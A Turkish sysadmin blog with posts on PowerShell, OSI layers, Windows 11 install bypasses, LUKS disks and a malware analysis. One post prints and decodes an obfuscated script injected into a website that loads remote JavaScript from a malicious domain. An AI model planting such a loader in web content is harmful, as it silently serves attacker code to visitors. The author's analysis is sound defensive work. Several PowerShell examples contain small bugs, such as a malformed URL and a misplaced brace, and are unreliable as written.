14.12.2023

Powershell modülleri

Powershell'de modül oluşturmak basit. Belgelerim klasörünüzün altında WindowsPowerShell klasöründe Modules adında bir alt klasör var. Bu konumda modülünüzle aynı isimli bir klasör oluşturup modül dosyanızı da bu klasöre kopyalamanız yeterli. Modül dosyası ise .psm1 uzantılı normal bir powershell dosyası olacak, içinde fonksiyonlarınızın tanımlı olduğu.

Normal şartlar altında Import-Module kullanmaya gerek yok; modüllerin içinde tanımlanan fonksiyonların isimlerini yazmak yeterli, modüller otomatik yükleniyor.

Ancak elimdeki modül dosyasını uzaktaki bir bilgisayara kopyalamama rağmen şöyle bir hata alıyorum.

Bu dosya benim bilgisayarımda da var, ama sayısal imza aramıyor. Neden uzak bilgisayarda arar? Bu arada uzaktaki bilgisayarda ExecutionPolicy'yi de RemoteSigned yaptım. Bypass olarak seçince çalıştı. O zaman farkettim ki olay RemoteSigned için farklılık gösteriyor. Demek ki benim uzaktaki bilgisayara kopyaladığım dosyanın Zone.Information ADS'si ile ilgili olabilir. Modül klasörüne gidip baktım:

PS> Get-Item .\Lib1.psm1 -Stream *

Evet, Zone.Information var. Önce bu engeli kaldıralım.

PS> Unblock-File .\Lib1.psm1

Sonrasında işlem başarılı.

10.12.2023

OSI katmanları

Basitleştirilmiş bir tanım ile akılda kalıcı olması açısından OSI ağ katmanlarını şöyle sıralayabiliiriz:

1. Fiziksel katman: Cihazlar arasnıdaki fiziksel bağlantının yapıldığı katman. Örnek: Kablolar, konnektörler, her bir bitin iletildiği ethernet veya fiber kabloları.

2. Veri bağlantı katmayı: Verinin aynı ağdaki cihazlar arasında güvenli bir şekilde iletilmesi işlerini yürüten katman. Örnek: Layer2 switch'ler olarak bilinen sadece MAC adreslerine bağlı olarak çalışan ağ cihazları. Bu katman, karşı taraftaki katman ile Ethernet gibi bir protokol ile görüşür. Paketlere MAC adresinin eklendiği yerdir.

3. Ağ katmanı: Verinin farklı ağlar veya alt ağlar arasında route edilmesinden sorumlu katman. Bu katmanın odağı IP adresleridir. Veri iletişimini IP tabanlı ayırır. Paketlere gönderen ve alıcı IP adresleri eklenir. Bir üst katmanda ayını IP adresinden gelen veriler portlarına göre de ayrılır. Örnek: Router'lar, Layer3 switch'ler olarak bilinen ve IP adreslerine göre paketleri iletebilen ağ cihazları.

4. Taşıma katmanı: Bu katmanda verinin uçtan uca güvenli bir şekilde iletilmesi sağlanır. Hata kontrolü yapılır. Bu katmanın odağı portlardır. Ağ katmanından gelen verileri port numalarına göre ilgili uygulama/hizmetlere teslim ederek, uygulamalardan/hizmetlerden gelen verileri de uygun port numaraları ile ağ katmanına iletir. Örnek olarak TCP ve UDP protokolleri bu katmanın kapsamındadır.

5. Oturum katmanı: Farklı cihazlardaki uygulamalar arasındaki oturumları veya bağlantıları yönetir. Örnek: NetBIOS.

6. Sunum katmanı: Veriyi uygulama katmanı ile alt katmanlar arasında çevirir, veri formatı ve şifreleme ile ilgilenir. Örnek: SSL ve TLS gibi şifreleme protokolleri.

7. Uygulama katmanı: Ağ hizmetlerini doğrudan son kullanıcıra veya uygulamalara sağlar. Örnek: HTTP, SMTP ve FTP gibi protokoller.

Kaynak: ChatGPT 3.5, _Drunk Engineer_

5.12.2023

Kodlanmış betikler

Girilmek istenen web sitelerinden birisi güvenlik duvarı üzerinde zararlı kod olarak sınıflandırılıyor ve engelleniyordu. Tekrar incelenmesini istedim, ısrarla zararlı içerik olduğu belirtildi. Virustotal'de bu görüşü destekleyecek bir sonuç göremedim. Google Safe Browsing'de de.

https://sitecheck.sucuri.net ile yaptığım taramada sitenin içinde kodlanmış betik parçası buldum (dikkat, zararlı içerik barındırır!):

  <script id="sgpb-custom-script-676">
    sgAddEvent(window, "sgpbWillOpen", function (e) {
      if (e.detail.popupId == "676") {
        (function () {
          var elem = document.createElement(
            String.fromCharCode(115, 99, 114, 105, 112, 116)
          );
          elem.type = String.fromCharCode(
            116,
            101,
            120,
            116,
            47,
            106,
            97,
            118,
            97,
            115,
            99,
            114,
            105,
            112,
            116
          );
          elem.src = String.fromCharCode(
            104,
            116,
            116,
            112,
            115,
            58,
            47,
            47,
            100,
            114,
            111,
            112,
            46,
            100,
            111,
            110,
            116,
            115,
            116,
            111,
            112,
            116,
            104,
            105,
            115,
            109,
            117,
            115,
            105,
            99,
            115,
            46,
            99,
            111,
            109,
            47,
            100,
            114,
            111,
            112,
            46,
            106,
            115,
            63,
            116,
            61,
            49
          );
          document
            .getElementsByTagName(String.fromCharCode(104, 101, 97, 100))[0]
            .appendChild(elem);
        })();
      }
    });
</script>


Bu zararsız gibi görünen betiğin içinde kısaca şu işlemler var:

var elem = document.createElement(
            String.fromCharCode(115, 99, 114, 105, 112, 116)

Burada yeni bir DOM öğesi oluşturuluyor. fromCharCode() fonksiyonunun içindeki tamsayıları  Powershell yardımıyla bir değişkene atadım:

PS> $d = (115,99,114,105,112,116)

daha sonra bunları şu şekilde bir string veri tipine dönüştürdüm:

PS> $a=""; $d | % { $a = $a + [char]$_ }; $a 

Sonuç bir html betik etiketi: script

Sonraki adıma geçtim. Bu sefer de elem.type'ın satırındaki tam sayı dizisi için aynı işlemi yaptım:

PS> $d = (116,101,120,116,47,106,97,118,97,115,99,114,105,112,116)

daha sonra bunları şu şekilde string veri tipine dönüştürdüm:

PS> $a=""; $d | % { $a = $a + [char]$_ };$a

Buradan da text/javascript çıktı.

Nihayet sıra vurucu kısma geldi; üçüncü adımda elem.src'yi decode ettim oradan da https://drop.dontstopthismusics.com/drop.js?t=1 gibi bir adres çıktı. Nihayet bu üçü bir html etiketi olarak bir sonraki adımda appenChild ile DOM yapısına ekleniyor. Yani standart bir şekilde listelenmeyen bir script alt bileşenimiz ortaya çıkıyor.

Virustotal'de bu URL'i taradığımda ise şu sonuç çıktı:

 

Evet, bu adres zararlı içerik olarak sınıflandırıldı. Şu anda ulaşılabilir olmadığı için içeriğini göremiyorum. Ama bir ara ulaşılabiliyormuş ki zararlı olarak sınıflandırılabilmiş.

2.12.2023

Window 11 kurulumu

Windows 11 kurulumu bazı kısıtlamalar getirdi. Öncelikle TPM 2.0 gerekli. Bunun yanı sıra en az 4 GB bellek ve secure boot (güvenli önyükleme) gerekliliği var. Çok istersek bunları pas geçebiliriz. Eğer "Bu bilgisayara Windows 11 kurulamaz" gibi bir ekran ile karşılaştıysak Shift+F10 ile komut satırı penceresini açıp, oradan regedit ile kayıt defterini çalıştırdıktan sonra

HKEY_LOCAL_MACHINE\SYSTEM\Setup

anahtarına gidip burada bir LabConfig alt anahtarı oluşturup içine de aşağıdaki REG_DWORD32 değerlerini eklemeliyiz.

BypassTPMCheck = 1
BypassSecureBootCheck = 1
BypassRAMCheck = 1
BypassCPUCheck = 1
BypassStorageCheck = 1

Bu aşamadan sonra bir önceki adıma geri dönüp tekrar ileri demek gerek.

Bundan sonraki aşamada da bizden bir çevrim içi hesap isteyecek. Bu da zorunlu gibi duruyor ama pas geçmek mümkün. Windows'un internet bağlantısı yoksa çevrim dışı kurulum yapılabilir. Microsoft bunu biraz daha az işlevsellik sunan bir kısıtlı mod olarak görüyor. Bunu yapabilmek için bilgisayara kurulum sırasında ağ bağlantısı yapmamak bir seçenek. Yapıldıysa uçak moduna almak (klavyede böyle bir tuş varsa) ya da yine o ekrana geldiğimizde Shift+F10 ile komut satırını açıp aşağıdaki yöntemlerden biriyle ağ bağlantısını devre dışı bırakma seçeneğimiz var:

> ipconfig /release
> netsh interface set interface Wi-Fi disable
> powershell -Command Disable-NetAdapter "Wi-Fi"

2024-10-24 Ek:

Windows 10'dan Windows 11'e yükseltme sırasında çıkan CPU ve TPM kontrollerini devre dışı bırakmak için şu sitede  

HKEY_LOCAL_MACHINE\SYSTEM\Setup\MoSetup

anahtarı altında AllowUpgradesWithUnsupportedTPMOrCPU (dword) oluşturup değerini 1 yapmamız önerilmiş. Bunun yeterli olmadığını gördüm. Böyle bir durumda şu videoda söylendiği gibi ISO dosyasının içeriğini geçici bir konuma çıkarmamız, daha sonra bu dosyaların içinde sources klasörünün altındaki appraiser.dll dosyasının içeriğini örneğin notepad ile açtıktan sonra tümünü seçip silmek önerilmiş.

2025-01-31 Ek: Şu videoda Windows 10'un Windows 11'e yükseltilmesi sırasında nasıl TPM gerekliliğinin atlanacağı gösterilmiş. ISO dosyası E: sürücüsüne bağlanmış bir durumda aşağıdaki komut ile yükseltme gerçekleşiyor.

E:\sources\setupprep.exe /product server

---

https://techcommunity.microsoft.com/t5/windows-11/how-to-bypass-windows-11-system-requirements-during-installation/m-p/4060758

https://www.elevenforum.com/t/bypass-windows-11-system-requirements.1989/

https://www.askvg.com/how-to-bypass-this-pc-cant-run-windows-11-error-and-disable-hardware-check-on-unsupported-devices/

https://cybertext.wordpress.com/2024/01/10/windows-11-install-without-a-microsoft-account-local-machine/


30.11.2023

Powershell'de etki alanı denetleyici sunucuları bulmak

Powershell betiklerine etki alanı denetleyici isimlerini elle yazmak yerine canlı olarak sorgulamak, betiklerin farklı etki alanlarında da sorunsuz çalışması için faydalı olabilir. ActiveDirectory modülü yüklüyse şu adımla bulunabilir:

PS> Get-ADDomainController -Filter *

ActiveDirectory modülü yüklü değilse

PS> $DCList = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
PS> $DCList.DomainControllers.name

gibi bir yöntem olabilir.

14.11.2023

LUKS ile şifrelenmiş diskleri açmak

Linux'u boot ettiğimiz disk şifreli değil. Ancak elimizde başka bir disk var, şifreli. Bu diski nasıl açarız? Sorumuz bu.

Diski taktıktan sonra lsblk --fs ile baktığımda FSTYPE sütununda gözüken crypto, diskin bir şifreleme kullandığını gösteriyor. Benim durumumda bu sdb1 olarak gözüküyordu.

$ sudo cryptsetup open /dev/sda3 luksrecoverytarget --type luks

kullanarak şifrelenmiş diske ait bir LUKS container'i oluşturalım. Bu sonrasında bize passphrase'imizi (şifrelenmiş birime ait parolamız) sorulacak. Doğru parolanın girilmesinin ardından /dev/mapper/luksrecoverytarget adında bir container'ımız olacak. Bu container'ı da mount etmek için

$ mount /dev/mapper/luksrecoverytarget /mnt/plain

kullanabiliriz. Yukarıdaki komut /mnt/plain'in var olduğunu varsaydı. İşlemer bittikten sonra önce unmount

$ umount /mnt/plain

ardından container'ı sonlandırmak gerek:

$ sudo cryptsetup close luksrecoverytarget

 ---

https://unix.stackexchange.com/questions/445652/how-to-mount-and-de-encrypt-a-luks-encrypted-partition-to-recover-files

https://www.baeldung.com/linux/check-disk-encryption

1.11.2023

Powershell fonksiyon oluşturma

Diğer programlama dillerinde olduğu gibi, Powershell'de de tekrarlanan kodları bir fonksiyon içinde tutup hızlıca erişime açabiliriz. Benim buradaki amacın bir fonksiyonun oluşturulmasıındaki birkaç anahtar noktayı vurgulamak.

Bir amacımız olduğunu varsayalım; bir genel (public) IP adresini hakkında coğrafi konum bilgisi alacağız. Bu amaçla bir fonksiyon oluşturuyoruz. Bu fonksiyonun adı Get-IPGeoInfo olsun. Powershell'de fonksiyonlara girişler (sorgu yapacağımız IP adresi) parametreler yardımıyla gönderilir. Örneğin terminalde

PS> Get-IPGeoInfo -IPAddress 195.175.39.39

gibi bir şekilde fonksiyonumuz çağrılabilir. Bunun için fonksiyon kodunun şu şekilde oluşturulması gerekir:

function Get-IPGeoInfo {
   param(
      [string]$IPAddress
   )
   $cevap = Invoke-RestMethod -Uri "https://http://ip-api.com/json/$IPAddress"
   $cikti = @{
      Sehir=$cevap.city
      Ulke=$cevap.country
      Operator=$cevap.isp}

   $cikti
}

Bu şekilde,  ilk satırda yazıldığı gibi bir giriş sağlanırsa cevap alınabilir.

Ama IP adresinin terminalden verilmediğini düşünelim. Bu durumda fonksiyon bir boş bir IP verisi için sorgu yapacağından hata verir. Bunun önüne geçmek için IPAddress parametresinin zorunlu sağlanmasını isteyebiliriz. Bu amaçla

function Get-IPGeoInfo {
   param(
      [Parameter(Mandatory=$true)]
      [string]$IPAddress
   )
   $cevap = Invoke-RestMethod -Uri "https://http://ip-api.com/json/$IPAddress"
   $cikti = @{
      Sehir=$cevap.city
      Ulke=$cevap.country
      Operator=$cevap.isp}

   $cikti
}

kırmızı ile vurguladığım eklemeleri yapabiliriz. Ayrıca her seferinde IPAddress değil de sadece IP yazarak parametresini belirtmek istiyorsak bu parametre tanımına bir alias ekleyebiliriz.

function Get-IPGeoInfo {
   param(
      [Parameter(Mandatory=$true)][alias("ip")]
      [string]$IPAddress
   )
   $cevap = Invoke-RestMethod -Uri "https://http://ip-api.com/json/$IPAddress"
   $cikti = @{
      Sehir=$cevap.city
      Ulke=$cevap.country
      Operator=$cevap.isp}

   $cikti
}

Benzer şekilde fonksiyonumuz için de alias belirtebiliriz. Her seferinde Get-IPGeoInfo yerine kısaca ipinfo yazmak için param bloğunun hemen öncesine alias ekleyebiliriz.

function Get-IPGeoInfo {
   [Alias('ipinfo')]
   param(
      [Parameter(Mandatory=$true)][alias("ip")]
      [string]$IPAddress
   )
   $cevap = Invoke-RestMethod -Uri "https://http://ip-api.com/json/$IPAddress"
   $cikti = @{
      Sehir=$cevap.city
      Ulke=$cevap.country
      Operator=$cevap.isp}

   $cikti
}

Fonksiyonumuzun Powershell'in ortak parametrelerine erişebilmesi için CmdletBinding anahtar kelimesini kullanabiliriz.

function Get-IPGeoInfo {
   [CmdletBinding()]
   [Alias('ipinfo')]
   param(
      [Parameter(Mandatory=$true)][alias("ip")]
      [string]$IPAddress
   )
   $cevap = Invoke-RestMethod -Uri "https://http://ip-api.com/json/$IPAddress"
   $cikti = @{
      Sehir=$cevap.city
      Ulke=$cevap.country
      Operator=$cevap.isp}

   $cikti
}

Ayrıca CmdletBinding'in içini dolduracak ek parametreler için şu adrese bakılabilir.

Parametre tanımlamasında kullanılabilecek başka ayrıntılar da var. Örneğin yukarıdaki örneğimizde giriş parametresi sadece 1 tane olduğu için bu parametreyi her seferinde -ip diye kısa şekliyle bile belirtmeye gerek yok sadece (yeni alias'ımızı da hesaba katarak)

PS> ipinfo 195.175.39.39

şeklinde çalıştırabiliriz. Ama birden fazla parametremiz olsaydı hangisinin varsayılan olacağını (ve dolayısıyla diğer parametrelerin sıralarını) belirtmek için Position anahtar kelimesini kullanabiliriz. Bu şekilde her seferinde IP adresini elle yazmak yerine başka bir komutun çıktısını boru hattından (pipeline) almak için ValueFromPipeline'ı kullanabiliriz. Ayrıca Boolean veri tipindeki değerleri =$true şeklinde belirtmeye de gerek yok, sadece anahtar kelime ismini belirtmek yeterli, aşağıdaki gibi.

function Get-IPGeoInfo {
   [CmdletBinding()]
   [Alias('ipinfo')]
   param(
      [Parameter(ValueFromPipeline,Mandatory,Position=0)][alias("ip")]
      [string]$IPAddress
   )
   $cevap = Invoke-RestMethod -Uri "https://http://ip-api.com/json/$IPAddress"
   $cikti = @{
      Sehir=$cevap.city
      Ulke=$cevap.country
      Operator=$cevap.isp}

   $cikti
}

Fonksiyonumuzun birden fazla parametresi varsa ve bu parametreleri isimlerini belirtmeden de çağırabilmek istiyorsak Position özelliğini kullanabiliriz. Örneğin param(.) bloğunda şu şekilde birşey olabilir:

param(
     [Parameter(Position=0)][string]$IPAddress,
     [Parameter(Position=1)][string]$HizmetSaglayici
)

Böylece artık fonksiyonumuzu

PS> ipinfo 1.1.1.1 ip-api.com

gibi kullandığımızda sırasıyla sorgu yapılacak IP adresini 1.1.1.1 olarak alacak, ve diğer parametreyi de hizmet sağlayıcı olarak kabul edecek. Elbette bu işlev şu anda fonksiyonumuzda yok, eklenmeli.

Bazı parametrelerin değerlerinin belli bir kümenin elemanlarından olmasını isteyebiliriz. Elle her seferinde yazmaktansa belli sınırlı sayıda değerden birini tab tuşu yardımıyla seçebiliriz. Bu amaçla ilgili paramterenin başına ValidateSet eklenebilir. Örneğin fonksiyonumuzda birden fazla GeoIP hizmet sağlayıcı varsa (ki şu andaki kodda bu yok) ve bunlardan birini seçmemiz gerekiyorsa:

function Get-IPGeoInfo {
   param(
      [string]$IPAddress,

      [ValidateSet("ipapi","geoipinfo","whereisip")][string]$service="ipapi"
   )
   ...

}

Hatta varsayılan olarak ipapi hizmetini de seçmiş olduk.

Çalışma zamanı istisnialarını yönetmek için bir try-catch bloğu kullanılabilir. Bunun için try içindeki cmdlet'in varsayılan hata durumundaki eylemi stop olarak ayarlanmalı ki catch bloğu işletilebilsin. Örneğin:

 

function Get-IPGeoInfo {
   param(
      [string]$IPAddress
   )

   try {

   $cevap = Invoke-RestMethod -Uri "https://http://ip-api.com/json/$IPAddress" -ErrorAction stop
   $cikti = @{
      Sehir=$cevap.city
      Ulke=$cevap.country
      Operator=$cevap.isp}

  }

  catch {

   Write-Error $_.Exception.Response.StatusCode

   Write-Error $_.ErrorDetails.Message

   $cikti = @{

      Sehir="-alinamadi-"

      Ulke="-alinamadi-"

      Operator="-alinamadi-"

   }

   finally {

   $cikti

   }
}

Bunun dışında boru hattından alınacak verinin işlenmesi için Begin-Process-End gibi fonksiyon bölümleri de koda eklenebilir.